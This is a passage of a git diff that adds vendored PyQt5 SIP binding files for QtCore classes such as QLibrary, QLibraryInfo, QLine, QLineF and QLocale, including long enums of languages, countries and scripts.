+ + typedef QFlags LoadHints; + explicit QLibrary(QObject *parent /TransferThis/ = 0); + QLibrary(const QString &fileName, QObject *parent /TransferThis/ = 0); + QLibrary(const QString &fileName, int verNum, QObject *parent /TransferThis/ = 0); + QLibrary(const QString &fileName, const QString &version, QObject *parent /TransferThis/ = 0); + virtual ~QLibrary(); + QString errorString() const; + QString fileName() const; + bool isLoaded() const; + bool load(); + QLibrary::LoadHints loadHints() const; + QFunctionPointer resolve(const char *symbol); + static QFunctionPointer resolve(const QString &fileName, const char *symbol); + static QFunctionPointer resolve(const QString &fileName, int verNum, const char *symbol); + static QFunctionPointer resolve(const QString &fileName, const QString &version, const char *symbol); + bool unload(); + static bool isLibrary(const QString &fileName); + void setFileName(const QString &fileName); + void setFileNameAndVersion(const QString &fileName, int verNum); + void setFileNameAndVersion(const QString &fileName, const QString &version); + void setLoadHints(QLibrary::LoadHints hints); +}; + +QFlags operator|(QLibrary::LoadHint f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qlibraryinfo.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qlibraryinfo.sip new file mode 100644 index 00000000..2abf40d8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qlibraryinfo.sip @@ -0,0 +1,61 @@ +// qlibraryinfo.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QLibraryInfo +{ +%TypeHeaderCode +#include +%End + +public: + static QString licensee(); + static QString licensedProducts(); + + enum LibraryLocation + { + PrefixPath, + DocumentationPath, + HeadersPath, + LibrariesPath, + BinariesPath, + PluginsPath, + DataPath, + TranslationsPath, + SettingsPath, + ExamplesPath, + ImportsPath, + TestsPath, + LibraryExecutablesPath, + Qml2ImportsPath, + ArchDataPath, + }; + + static QString location(QLibraryInfo::LibraryLocation) /ReleaseGIL/; + static QDate buildDate(); + static bool isDebugBuild(); +%If (Qt_5_8_0 -) + static QVersionNumber version(); +%End + +private: + QLibraryInfo(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qline.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qline.sip new file mode 100644 index 00000000..801e112b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qline.sip @@ -0,0 +1,203 @@ +// qline.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QLine +{ +%TypeHeaderCode +#include +%End + +%PickleCode + sipRes = Py_BuildValue((char *)"iiii", sipCpp->x1(), sipCpp->y1(), sipCpp->x2(), sipCpp->y2()); +%End + +public: + bool operator!=(const QLine &d) const; + QLine(); + QLine(const QPoint &pt1_, const QPoint &pt2_); + QLine(int x1pos, int y1pos, int x2pos, int y2pos); + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + if (sipCpp->isNull()) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromString("PyQt5.QtCore.QLine()"); + #else + sipRes = PyString_FromString("PyQt5.QtCore.QLine()"); + #endif + } + else + { + sipRes = + #if PY_MAJOR_VERSION >= 3 + PyUnicode_FromFormat + #else + PyString_FromFormat + #endif + ("PyQt5.QtCore.QLine(%i, %i, %i, %i)", + sipCpp->x1(), sipCpp->y1(), sipCpp->x2(), sipCpp->y2()); + } +%End + + bool isNull() const; + int __bool__() const; +%MethodCode + sipRes = !sipCpp->isNull(); +%End + + int x1() const; + int y1() const; + int x2() const; + int y2() const; + QPoint p1() const; + QPoint p2() const; + int dx() const; + int dy() const; + void translate(const QPoint &point); + void translate(int adx, int ady); + bool operator==(const QLine &d) const; + QLine translated(const QPoint &p) const; + QLine translated(int adx, int ady) const; + void setP1(const QPoint &aP1); + void setP2(const QPoint &aP2); + void setPoints(const QPoint &aP1, const QPoint &aP2); + void setLine(int aX1, int aY1, int aX2, int aY2); +%If (Qt_5_8_0 -) + QPoint center() const; +%End +}; + +QDataStream &operator<<(QDataStream &, const QLine & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QLine & /Constrained/) /ReleaseGIL/; + +class QLineF +{ +%TypeHeaderCode +#include +%End + +%PickleCode + sipRes = Py_BuildValue((char *)"dddd", sipCpp->x1(), sipCpp->y1(), sipCpp->x2(), sipCpp->y2()); +%End + +public: + enum IntersectType + { + NoIntersection, + BoundedIntersection, + UnboundedIntersection, + }; + + QLineF(const QLine &line); + bool isNull() const; + int __bool__() const; +%MethodCode + sipRes = !sipCpp->isNull(); +%End + + qreal length() const; + QLineF unitVector() const; + QLineF::IntersectType intersect(const QLineF &l, QPointF *intersectionPoint) const; +%If (Qt_5_14_0 -) + typedef QLineF::IntersectType IntersectionType; +%End +%If (Qt_5_14_0 -) + QLineF::IntersectionType intersects(const QLineF &l, QPointF *intersectionPoint /Out/) const; +%End + bool operator!=(const QLineF &d) const; + QLineF(); + QLineF(const QPointF &apt1, const QPointF &apt2); + QLineF(qreal x1pos, qreal y1pos, qreal x2pos, qreal y2pos); + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + if (sipCpp->isNull()) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromString("PyQt5.QtCore.QLineF()"); + #else + sipRes = PyString_FromString("PyQt5.QtCore.QLineF()"); + #endif + } + else + { + PyObject *x1 = PyFloat_FromDouble(sipCpp->x1()); + PyObject *y1 = PyFloat_FromDouble(sipCpp->y1()); + PyObject *x2 = PyFloat_FromDouble(sipCpp->x2()); + PyObject *y2 = PyFloat_FromDouble(sipCpp->y2()); + + if (x1 && y1 && x2 && y2) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtCore.QLineF(%R, %R, %R, %R)", + x1, y1, x2, y2); + #else + sipRes = PyString_FromString("PyQt5.QtCore.QLineF("); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(x1)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(y1)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(x2)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(y2)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); + #endif + } + + Py_XDECREF(x1); + Py_XDECREF(y1); + Py_XDECREF(x2); + Py_XDECREF(y2); + } +%End + + qreal x1() const; + qreal y1() const; + qreal x2() const; + qreal y2() const; + QPointF p1() const; + QPointF p2() const; + qreal dx() const; + qreal dy() const; + QLineF normalVector() const; + void translate(const QPointF &point); + void translate(qreal adx, qreal ady); + void setLength(qreal len); + QPointF pointAt(qreal t) const; + QLine toLine() const; + bool operator==(const QLineF &d) const; + static QLineF fromPolar(qreal length, qreal angle); + qreal angle() const; + void setAngle(qreal angle); + qreal angleTo(const QLineF &l) const; + QLineF translated(const QPointF &p) const; + QLineF translated(qreal adx, qreal ady) const; + void setP1(const QPointF &aP1); + void setP2(const QPointF &aP2); + void setPoints(const QPointF &aP1, const QPointF &aP2); + void setLine(qreal aX1, qreal aY1, qreal aX2, qreal aY2); +%If (Qt_5_8_0 -) + QPointF center() const; +%End +}; + +QDataStream &operator<<(QDataStream &, const QLineF & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QLineF & /Constrained/) /ReleaseGIL/; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qlocale.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qlocale.sip new file mode 100644 index 00000000..31c2c858 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qlocale.sip @@ -0,0 +1,1619 @@ +// qlocale.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QLocale +{ +%TypeHeaderCode +#include +%End + +public: + enum Language + { + C, + Abkhazian, + Afan, + Afar, + Afrikaans, + Albanian, + Amharic, + Arabic, + Armenian, + Assamese, + Aymara, + Azerbaijani, + Bashkir, + Basque, + Bengali, + Bhutani, + Bihari, + Bislama, + Breton, + Bulgarian, + Burmese, + Byelorussian, + Cambodian, + Catalan, + Chinese, + Corsican, + Croatian, + Czech, + Danish, + Dutch, + English, + Esperanto, + Estonian, + Faroese, + Finnish, + French, + Frisian, + Gaelic, + Galician, + Georgian, + German, + Greek, + Greenlandic, + Guarani, + Gujarati, + Hausa, + Hebrew, + Hindi, + Hungarian, + Icelandic, + Indonesian, + Interlingua, + Interlingue, + Inuktitut, + Inupiak, + Irish, + Italian, + Japanese, + Javanese, + Kannada, + Kashmiri, + Kazakh, + Kinyarwanda, + Kirghiz, + Korean, + Kurdish, + Kurundi, + Latin, + Latvian, + Lingala, + Lithuanian, + Macedonian, + Malagasy, + Malay, + Malayalam, + Maltese, + Maori, + Marathi, + Moldavian, + Mongolian, + NauruLanguage, + Nepali, + Norwegian, + Occitan, + Oriya, + Pashto, + Persian, + Polish, + Portuguese, + Punjabi, + Quechua, + RhaetoRomance, + Romanian, + Russian, + Samoan, + Sanskrit, + Serbian, + SerboCroatian, + Shona, + Sindhi, + Slovak, + Slovenian, + Somali, + Spanish, + Sundanese, + Swahili, + Swedish, + Tagalog, + Tajik, + Tamil, + Tatar, + Telugu, + Thai, + Tibetan, + Tigrinya, + Tsonga, + Turkish, + Turkmen, + Twi, + Uigur, + Ukrainian, + Urdu, + Uzbek, + Vietnamese, + Volapuk, + Welsh, + Wolof, + Xhosa, + Yiddish, + Yoruba, + Zhuang, + Zulu, + Bosnian, + Divehi, + Manx, + Cornish, + LastLanguage, + NorwegianBokmal, + NorwegianNynorsk, + Akan, + Konkani, + Ga, + Igbo, + Kamba, + Syriac, + Blin, + Geez, + Koro, + Sidamo, + Atsam, + Tigre, + Jju, + Friulian, + Venda, + Ewe, + Walamo, + Hawaiian, + Tyap, + Chewa, + Filipino, + SwissGerman, + SichuanYi, + Kpelle, + LowGerman, + SouthNdebele, + NorthernSotho, + NorthernSami, + Taroko, + Gusii, + Taita, + Fulah, + Kikuyu, + Samburu, + Sena, + NorthNdebele, + Rombo, + Tachelhit, + Kabyle, + Nyankole, + Bena, + Vunjo, + Bambara, + Embu, + Cherokee, + Morisyen, + Makonde, + Langi, + Ganda, + Bemba, + Kabuverdianu, + Meru, + Kalenjin, + Nama, + Machame, + Colognian, + Masai, + Soga, + Luyia, + Asu, + Teso, + Saho, + KoyraChiini, + Rwa, + Luo, + Chiga, + CentralMoroccoTamazight, + KoyraboroSenni, + Shambala, + AnyLanguage, + Rundi, + Bodo, + Aghem, + Basaa, + Zarma, + Duala, + JolaFonyi, + Ewondo, + Bafia, + LubaKatanga, + MakhuwaMeetto, + Mundang, + Kwasio, + Nuer, + Sakha, + Sangu, + CongoSwahili, + Tasawaq, + Vai, + Walser, + Yangben, + Oromo, + Dzongkha, + Belarusian, + Khmer, + Fijian, + WesternFrisian, + Lao, + Marshallese, + Romansh, + Sango, + Ossetic, + SouthernSotho, + Tswana, + Sinhala, + Swati, + Sardinian, + Tongan, + Tahitian, + Nyanja, + Avaric, + Chamorro, + Chechen, + Church, + Chuvash, + Cree, + Haitian, + Herero, + HiriMotu, + Kanuri, + Komi, + Kongo, + Kwanyama, + Limburgish, + Luxembourgish, + Navaho, + Ndonga, + Ojibwa, + Pali, + Walloon, + Avestan, + Asturian, + Ngomba, + Kako, + Meta, + Ngiemboon, +%If (Qt_5_1_0 -) + Uighur, +%End +%If (Qt_5_1_0 -) + Aragonese, +%End +%If (Qt_5_1_0 -) + Akkadian, +%End +%If (Qt_5_1_0 -) + AncientEgyptian, +%End +%If (Qt_5_1_0 -) + AncientGreek, +%End +%If (Qt_5_1_0 -) + Aramaic, +%End +%If (Qt_5_1_0 -) + Balinese, +%End +%If (Qt_5_1_0 -) + Bamun, +%End +%If (Qt_5_1_0 -) + BatakToba, +%End +%If (Qt_5_1_0 -) + Buginese, +%End +%If (Qt_5_1_0 -) + Buhid, +%End +%If (Qt_5_1_0 -) + Carian, +%End +%If (Qt_5_1_0 -) + Chakma, +%End +%If (Qt_5_1_0 -) + ClassicalMandaic, +%End +%If (Qt_5_1_0 -) + Coptic, +%End +%If (Qt_5_1_0 -) + Dogri, +%End +%If (Qt_5_1_0 -) + EasternCham, +%End +%If (Qt_5_1_0 -) + EasternKayah, +%End +%If (Qt_5_1_0 -) + Etruscan, +%End +%If (Qt_5_1_0 -) + Gothic, +%End +%If (Qt_5_1_0 -) + Hanunoo, +%End +%If (Qt_5_1_0 -) + Ingush, +%End +%If (Qt_5_1_0 -) + LargeFloweryMiao, +%End +%If (Qt_5_1_0 -) + Lepcha, +%End +%If (Qt_5_1_0 -) + Limbu, +%End +%If (Qt_5_1_0 -) + Lisu, +%End +%If (Qt_5_1_0 -) + Lu, +%End +%If (Qt_5_1_0 -) + Lycian, +%End +%If (Qt_5_1_0 -) + Lydian, +%End +%If (Qt_5_1_0 -) + Mandingo, +%End +%If (Qt_5_1_0 -) + Manipuri, +%End +%If (Qt_5_1_0 -) + Meroitic, +%End +%If (Qt_5_1_0 -) + NorthernThai, +%End +%If (Qt_5_1_0 -) + OldIrish, +%End +%If (Qt_5_1_0 -) + OldNorse, +%End +%If (Qt_5_1_0 -) + OldPersian, +%End +%If (Qt_5_1_0 -) + OldTurkish, +%End +%If (Qt_5_1_0 -) + Pahlavi, +%End +%If (Qt_5_1_0 -) + Parthian, +%End +%If (Qt_5_1_0 -) + Phoenician, +%End +%If (Qt_5_1_0 -) + PrakritLanguage, +%End +%If (Qt_5_1_0 -) + Rejang, +%End +%If (Qt_5_1_0 -) + Sabaean, +%End +%If (Qt_5_1_0 -) + Samaritan, +%End +%If (Qt_5_1_0 -) + Santali, +%End +%If (Qt_5_1_0 -) + Saurashtra, +%End +%If (Qt_5_1_0 -) + Sora, +%End +%If (Qt_5_1_0 -) + Sylheti, +%End +%If (Qt_5_1_0 -) + Tagbanwa, +%End +%If (Qt_5_1_0 -) + TaiDam, +%End +%If (Qt_5_1_0 -) + TaiNua, +%End +%If (Qt_5_1_0 -) + Ugaritic, +%End +%If (Qt_5_3_0 -) + Akoose, +%End +%If (Qt_5_3_0 -) + Lakota, +%End +%If (Qt_5_3_0 -) + StandardMoroccanTamazight, +%End +%If (Qt_5_5_0 -) + Mapuche, +%End +%If (Qt_5_5_0 -) + CentralKurdish, +%End +%If (Qt_5_5_0 -) + LowerSorbian, +%End +%If (Qt_5_5_0 -) + UpperSorbian, +%End +%If (Qt_5_5_0 -) + Kenyang, +%End +%If (Qt_5_5_0 -) + Mohawk, +%End +%If (Qt_5_5_0 -) + Nko, +%End +%If (Qt_5_5_0 -) + Prussian, +%End +%If (Qt_5_5_0 -) + Kiche, +%End +%If (Qt_5_5_0 -) + SouthernSami, +%End +%If (Qt_5_5_0 -) + LuleSami, +%End +%If (Qt_5_5_0 -) + InariSami, +%End +%If (Qt_5_5_0 -) + SkoltSami, +%End +%If (Qt_5_5_0 -) + Warlpiri, +%End +%If (Qt_5_5_0 -) + ManichaeanMiddlePersian, +%End +%If (Qt_5_5_0 -) + Mende, +%End +%If (Qt_5_5_0 -) + AncientNorthArabian, +%End +%If (Qt_5_5_0 -) + LinearA, +%End +%If (Qt_5_5_0 -) + HmongNjua, +%End +%If (Qt_5_5_0 -) + Ho, +%End +%If (Qt_5_5_0 -) + Lezghian, +%End +%If (Qt_5_5_0 -) + Bassa, +%End +%If (Qt_5_5_0 -) + Mono, +%End +%If (Qt_5_5_0 -) + TedimChin, +%End +%If (Qt_5_5_0 -) + Maithili, +%End +%If (Qt_5_7_0 -) + Ahom, +%End +%If (Qt_5_7_0 -) + AmericanSignLanguage, +%End +%If (Qt_5_7_0 -) + ArdhamagadhiPrakrit, +%End +%If (Qt_5_7_0 -) + Bhojpuri, +%End +%If (Qt_5_7_0 -) + HieroglyphicLuwian, +%End +%If (Qt_5_7_0 -) + LiteraryChinese, +%End +%If (Qt_5_7_0 -) + Mazanderani, +%End +%If (Qt_5_7_0 -) + Mru, +%End +%If (Qt_5_7_0 -) + Newari, +%End +%If (Qt_5_7_0 -) + NorthernLuri, +%End +%If (Qt_5_7_0 -) + Palauan, +%End +%If (Qt_5_7_0 -) + Papiamento, +%End +%If (Qt_5_7_0 -) + Saraiki, +%End +%If (Qt_5_7_0 -) + TokelauLanguage, +%End +%If (Qt_5_7_0 -) + TokPisin, +%End +%If (Qt_5_7_0 -) + TuvaluLanguage, +%End +%If (Qt_5_7_0 -) + UncodedLanguages, +%End +%If (Qt_5_7_0 -) + Cantonese, +%End +%If (Qt_5_7_0 -) + Osage, +%End +%If (Qt_5_7_0 -) + Tangut, +%End +%If (Qt_5_13_0 -) + Ido, +%End +%If (Qt_5_13_0 -) + Lojban, +%End +%If (Qt_5_13_0 -) + Sicilian, +%End +%If (Qt_5_13_0 -) + SouthernKurdish, +%End +%If (Qt_5_13_0 -) + WesternBalochi, +%End +%If (Qt_5_14_0 -) + Cebuano, +%End +%If (Qt_5_14_0 -) + Erzya, +%End +%If (Qt_5_14_0 -) + Chickasaw, +%End +%If (Qt_5_14_0 -) + Muscogee, +%End +%If (Qt_5_14_0 -) + Silesian, +%End + }; + + enum Country + { + AnyCountry, + Afghanistan, + Albania, + Algeria, + AmericanSamoa, + Andorra, + Angola, + Anguilla, + Antarctica, + AntiguaAndBarbuda, + Argentina, + Armenia, + Aruba, + Australia, + Austria, + Azerbaijan, + Bahamas, + Bahrain, + Bangladesh, + Barbados, + Belarus, + Belgium, + Belize, + Benin, + Bermuda, + Bhutan, + Bolivia, + BosniaAndHerzegowina, + Botswana, + BouvetIsland, + Brazil, + BritishIndianOceanTerritory, + Bulgaria, + BurkinaFaso, + Burundi, + Cambodia, + Cameroon, + Canada, + CapeVerde, + CaymanIslands, + CentralAfricanRepublic, + Chad, + Chile, + China, + ChristmasIsland, + CocosIslands, + Colombia, + Comoros, + DemocraticRepublicOfCongo, + PeoplesRepublicOfCongo, + CookIslands, + CostaRica, + IvoryCoast, + Croatia, + Cuba, + Cyprus, + CzechRepublic, + Denmark, + Djibouti, + Dominica, + DominicanRepublic, + EastTimor, + Ecuador, + Egypt, + ElSalvador, + EquatorialGuinea, + Eritrea, + Estonia, + Ethiopia, + FalklandIslands, + FaroeIslands, + Finland, + France, + FrenchGuiana, + FrenchPolynesia, + FrenchSouthernTerritories, + Gabon, + Gambia, + Georgia, + Germany, + Ghana, + Gibraltar, + Greece, + Greenland, + Grenada, + Guadeloupe, + Guam, + Guatemala, + Guinea, + GuineaBissau, + Guyana, + Haiti, + HeardAndMcDonaldIslands, + Honduras, + HongKong, + Hungary, + Iceland, + India, + Indonesia, + Iran, + Iraq, + Ireland, + Israel, + Italy, + Jamaica, + Japan, + Jordan, + Kazakhstan, + Kenya, + Kiribati, + DemocraticRepublicOfKorea, + RepublicOfKorea, + Kuwait, + Kyrgyzstan, + Latvia, + Lebanon, + Lesotho, + Liberia, + Liechtenstein, + Lithuania, + Luxembourg, + Macau, + Macedonia, + Madagascar, + Malawi, + Malaysia, + Maldives, + Mali, + Malta, + MarshallIslands, + Martinique, + Mauritania, + Mauritius, + Mayotte, + Mexico, + Micronesia, + Moldova, + Monaco, + Mongolia, + Montserrat, + Morocco, + Mozambique, + Myanmar, + Namibia, + NauruCountry, + Nepal, + Netherlands, + NewCaledonia, + NewZealand, + Nicaragua, + Niger, + Nigeria, + Niue, + NorfolkIsland, + NorthernMarianaIslands, + Norway, + Oman, + Pakistan, + Palau, + Panama, + PapuaNewGuinea, + Paraguay, + Peru, + Philippines, + Pitcairn, + Poland, + Portugal, + PuertoRico, + Qatar, + Reunion, + Romania, + RussianFederation, + Rwanda, + SaintKittsAndNevis, + Samoa, + SanMarino, + SaoTomeAndPrincipe, + SaudiArabia, + Senegal, + Seychelles, + SierraLeone, + Singapore, + Slovakia, + Slovenia, + SolomonIslands, + Somalia, + SouthAfrica, + SouthGeorgiaAndTheSouthSandwichIslands, + Spain, + SriLanka, + Sudan, + Suriname, + SvalbardAndJanMayenIslands, + Swaziland, + Sweden, + Switzerland, + SyrianArabRepublic, + Taiwan, + Tajikistan, + Tanzania, + Thailand, + Togo, + Tokelau, + TrinidadAndTobago, + Tunisia, + Turkey, + Turkmenistan, + TurksAndCaicosIslands, + Tuvalu, + Uganda, + Ukraine, + UnitedArabEmirates, + UnitedKingdom, + UnitedStates, + UnitedStatesMinorOutlyingIslands, + Uruguay, + Uzbekistan, + Vanuatu, + VaticanCityState, + Venezuela, + BritishVirginIslands, + WallisAndFutunaIslands, + WesternSahara, + Yemen, + Zambia, + Zimbabwe, + Montenegro, + Serbia, + SaintBarthelemy, + SaintMartin, + LatinAmericaAndTheCaribbean, + LastCountry, + Brunei, + CongoKinshasa, + CongoBrazzaville, + Fiji, + Guernsey, + NorthKorea, + SouthKorea, + Laos, + Libya, + CuraSao, + PalestinianTerritories, + Russia, + SaintLucia, + SaintVincentAndTheGrenadines, + SaintHelena, + SaintPierreAndMiquelon, + Syria, + Tonga, + Vietnam, + UnitedStatesVirginIslands, + CanaryIslands, + ClippertonIsland, + AscensionIsland, + AlandIslands, + DiegoGarcia, + CeutaAndMelilla, + IsleOfMan, + Jersey, + TristanDaCunha, + SouthSudan, + Bonaire, + SintMaarten, +%If (Qt_5_2_0 -) + Kosovo, +%End +%If (Qt_5_7_0 -) + TokelauCountry, +%End +%If (Qt_5_7_0 -) + TuvaluCountry, +%End +%If (Qt_5_7_0 -) + EuropeanUnion, +%End +%If (Qt_5_7_0 -) + OutlyingOceania, +%End +%If (Qt_5_12_0 -) + LatinAmerica, +%End +%If (Qt_5_12_0 -) + World, +%End +%If (Qt_5_12_0 -) + Europe, +%End + }; + + enum NumberOption + { + OmitGroupSeparator, + RejectGroupSeparator, +%If (Qt_5_7_0 -) + DefaultNumberOptions, +%End +%If (Qt_5_7_0 -) + OmitLeadingZeroInExponent, +%End +%If (Qt_5_7_0 -) + RejectLeadingZeroInExponent, +%End +%If (Qt_5_9_0 -) + IncludeTrailingZeroesAfterDot, +%End +%If (Qt_5_9_0 -) + RejectTrailingZeroesAfterDot, +%End + }; + + typedef QFlags NumberOptions; + QLocale(); + QLocale(const QString &name); + QLocale(QLocale::Language language, QLocale::Country country = QLocale::AnyCountry); + QLocale(const QLocale &other); + ~QLocale(); + QLocale::Language language() const; + QLocale::Country country() const; + QString name() const; + short toShort(const QString &s, bool *ok = 0) const; + ushort toUShort(const QString &s, bool *ok = 0) const; + int toInt(const QString &s, bool *ok = 0) const; + uint toUInt(const QString &s, bool *ok = 0) const; + qlonglong toLongLong(const QString &s, bool *ok = 0) const; + qulonglong toULongLong(const QString &s, bool *ok = 0) const; + float toFloat(const QString &s, bool *ok = 0) const; + double toDouble(const QString &s, bool *ok = 0) const; + QString toString(double i /Constrained/, char format = 'g', int precision = 6) const; + bool operator==(const QLocale &other) const; + bool operator!=(const QLocale &other) const; + static QString languageToString(QLocale::Language language); + static QString countryToString(QLocale::Country country); + static void setDefault(const QLocale &locale); + static QLocale c(); + static QLocale system(); + + enum FormatType + { + LongFormat, + ShortFormat, + NarrowFormat, + }; + + QString toString(const QDateTime &dateTime, const QString &format) const; +%If (Qt_5_14_0 -) + QString toString(const QDateTime &dateTime, const QString &formatStr, QCalendar cal) const; +%MethodCode + // QStringView has issues being implemented as a mapped type. + sipRes = new QString(sipCpp->toString(*a0, QStringView(*a1), *a2)); +%End + +%End + QString toString(const QDateTime &dateTime, QLocale::FormatType format = QLocale::LongFormat) const; +%If (Qt_5_14_0 -) + QString toString(const QDateTime &dateTime, QLocale::FormatType format, QCalendar cal) const; +%End + QString toString(const QDate &date, const QString &formatStr) const; +%If (Qt_5_14_0 -) + QString toString(const QDate &date, const QString &formatStr, QCalendar cal) const; +%MethodCode + // QStringView has issues being implemented as a mapped type. + sipRes = new QString(sipCpp->toString(*a0, QStringView(*a1), *a2)); +%End + +%End + QString toString(const QDate &date, QLocale::FormatType format = QLocale::LongFormat) const; +%If (Qt_5_14_0 -) + QString toString(const QDate &date, QLocale::FormatType format, QCalendar cal) const; +%End + QString toString(const QTime &time, const QString &formatStr) const; + QString toString(const QTime &time, QLocale::FormatType format = QLocale::LongFormat) const; + QString dateFormat(QLocale::FormatType format = QLocale::LongFormat) const; + QString timeFormat(QLocale::FormatType format = QLocale::LongFormat) const; + QString dateTimeFormat(QLocale::FormatType format = QLocale::LongFormat) const; + QDate toDate(const QString &string, QLocale::FormatType format = QLocale::LongFormat) const; + QDate toDate(const QString &string, const QString &format) const; + QTime toTime(const QString &string, QLocale::FormatType format = QLocale::LongFormat) const; + QTime toTime(const QString &string, const QString &format) const; + QDateTime toDateTime(const QString &string, QLocale::FormatType format = QLocale::LongFormat) const; + QDateTime toDateTime(const QString &string, const QString &format) const; + QChar decimalPoint() const; + QChar groupSeparator() const; + QChar percent() const; + QChar zeroDigit() const; + QChar negativeSign() const; + QChar exponential() const; + QString monthName(int, QLocale::FormatType format = QLocale::LongFormat) const; + QString dayName(int, QLocale::FormatType format = QLocale::LongFormat) const; + void setNumberOptions(QLocale::NumberOptions options); + QLocale::NumberOptions numberOptions() const; + + enum MeasurementSystem + { + MetricSystem, + ImperialSystem, + ImperialUSSystem, + ImperialUKSystem, + }; + + QLocale::MeasurementSystem measurementSystem() const; + QChar positiveSign() const; + QString standaloneMonthName(int, QLocale::FormatType format = QLocale::LongFormat) const; + QString standaloneDayName(int, QLocale::FormatType format = QLocale::LongFormat) const; + QString amText() const; + QString pmText() const; + Qt::LayoutDirection textDirection() const; + + enum Script + { + AnyScript, + ArabicScript, + CyrillicScript, + DeseretScript, + GurmukhiScript, + SimplifiedHanScript, + TraditionalHanScript, + LatinScript, + MongolianScript, + TifinaghScript, + SimplifiedChineseScript, + TraditionalChineseScript, + ArmenianScript, + BengaliScript, + CherokeeScript, + DevanagariScript, + EthiopicScript, + GeorgianScript, + GreekScript, + GujaratiScript, + HebrewScript, + JapaneseScript, + KhmerScript, + KannadaScript, + KoreanScript, + LaoScript, + MalayalamScript, + MyanmarScript, + OriyaScript, + TamilScript, + TeluguScript, + ThaanaScript, + ThaiScript, + TibetanScript, + SinhalaScript, + SyriacScript, + YiScript, + VaiScript, +%If (Qt_5_1_0 -) + AvestanScript, +%End +%If (Qt_5_1_0 -) + BalineseScript, +%End +%If (Qt_5_1_0 -) + BamumScript, +%End +%If (Qt_5_1_0 -) + BatakScript, +%End +%If (Qt_5_1_0 -) + BopomofoScript, +%End +%If (Qt_5_1_0 -) + BrahmiScript, +%End +%If (Qt_5_1_0 -) + BugineseScript, +%End +%If (Qt_5_1_0 -) + BuhidScript, +%End +%If (Qt_5_1_0 -) + CanadianAboriginalScript, +%End +%If (Qt_5_1_0 -) + CarianScript, +%End +%If (Qt_5_1_0 -) + ChakmaScript, +%End +%If (Qt_5_1_0 -) + ChamScript, +%End +%If (Qt_5_1_0 -) + CopticScript, +%End +%If (Qt_5_1_0 -) + CypriotScript, +%End +%If (Qt_5_1_0 -) + EgyptianHieroglyphsScript, +%End +%If (Qt_5_1_0 -) + FraserScript, +%End +%If (Qt_5_1_0 -) + GlagoliticScript, +%End +%If (Qt_5_1_0 -) + GothicScript, +%End +%If (Qt_5_1_0 -) + HanScript, +%End +%If (Qt_5_1_0 -) + HangulScript, +%End +%If (Qt_5_1_0 -) + HanunooScript, +%End +%If (Qt_5_1_0 -) + ImperialAramaicScript, +%End +%If (Qt_5_1_0 -) + InscriptionalPahlaviScript, +%End +%If (Qt_5_1_0 -) + InscriptionalParthianScript, +%End +%If (Qt_5_1_0 -) + JavaneseScript, +%End +%If (Qt_5_1_0 -) + KaithiScript, +%End +%If (Qt_5_1_0 -) + KatakanaScript, +%End +%If (Qt_5_1_0 -) + KayahLiScript, +%End +%If (Qt_5_1_0 -) + KharoshthiScript, +%End +%If 